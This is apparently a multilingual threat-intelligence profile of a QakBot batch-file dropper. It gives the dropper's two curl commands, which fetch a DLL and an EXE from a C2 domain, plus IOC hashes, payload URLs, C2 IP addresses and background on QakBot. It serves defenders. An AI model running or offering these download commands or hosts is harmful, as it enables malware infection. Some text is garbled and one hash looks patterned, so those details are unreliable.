文件 Kimliği
| SHA256 | 3b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6 |
|---|---|
| 文件名 | u2.bat |
| Tip | BAT Script Dropper |
| 大小 | 326 byte |
Açık Metin C2 İndirme Komutları
curl -o 02.dll https://upd5.pro/update/02.dll curl -o qd_x86.exe https://upd5.pro/update/qd_x86.exe -- upd5.pro = QakBot C2 domain! -- /update/ path'i üzerinden ikinci aşama indirme
İndirilen Yükler
https://upd5.pro/update/02.dll -- QakBot ana DLL https://upd5.pro/update/qd_x86.exe -- QakBot x86 yükleyici
QakBot Hakkında
QakBot (QuakBot/Qbot), 2007'den beri aktif olan modüler bankacılık trojanı/botnet ailesidir. Emotet'in dağıtım ortağı olarak ve Cobalt Strike, Black Basta, REvil gibi ransomware öncüsü olarak kullanılmıştır. 类型kiye dahil 30+ ülkede kritik altyapılara saldırmıştır. ABD/AB operasyonu "Duck Hunt" ile Ağustos 2023'te altyapısı çöktürülmüştür.
IOC
| SHA256 | 3b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6 |
|---|---|
| C2 | upd5.pro |
| Payload | upd5.pro/update/02.dll |
| Payload | upd5.pro/update/qd_x86.exe |
QakBot — 恶意软件档案
QakBot Quakbot banker. Notesvb.msi delivery. Named pipe IPC. Modular architecture.
技术细节
QakBot (Qbot/QuakBot) is a banking trojan and loader active since 2007. Features: credential theft, email hijacking for thread hijacking attacks, lateral movement via SMB/psexec, web injection for banking fraud. Delivered via malspam using hijacked email threads (reply-chain attacks). Modules: email collector, credential grabber, network scanner, VNC plugin. Used to deliver Egregor, ProLock, REvil, Black Basta ransomware. FBI "Operation Duck Hunt" disrupted infrastructure August 2023, removing QakBot from 700,000+ infected machines. Attempted comeback Q4 2023 with new delivery methods.
归因 / 威胁行为者
Gold Lagoon, TA570 (Shatak)
能力与行为
IOC列表 (4 个指标)
# SHA256
3b3bd81232f517ba62ea2de2da17b50e30d7fd3d16bade58fcb7d3c4b7b96c1e
# SHA256
3b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6
# URL
https://upd5.pro/update/02.dll
# URL
https://upd5.pro/update/qd_x86.exe
| 类型 | 值 | 备注 |
|---|---|---|
| sha256 | 3b3bd81232f517ba62ea2de2da17b50e30d7fd3d16bade58fcb7d3c4b7b96c1e | |
| sha256 | 3b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6 | |
| url | https://upd5.pro/update/02.dll | |
| url | https://upd5.pro/update/qd_x86.exe |
C2服务器 (该家族共有 8 台已记录服务器)
| 地址 | 类型 | 端口 | 协议 | 状态 | 国家 |
|---|---|---|---|---|---|
| 95.217.35.154 | ip | 443 | HTTPS | inactive | FI |
| upd5.pro | domain | 443 | HTTPS | inactive | — |
| upd5.pro | domain | 443 | HTTPS | inactive | — |
| metasta.me | domain | 443 | HTTPS | inactive | — |
| upd5.pro | domain | 443 | HTTPS | inactive | — |
| amacey.com | domain | 443 | HTTPS | inactive | — |
| 181.174.165.208 | ip | 443 | HTTPS | sinkholed | AR |
| 212.117.180.232 | ip | 443 | HTTPS | sinkholed | CH |
C2 地址仅来自 KEYDAL 团队人工验证的恶意软件样本。禁止用于商业用途。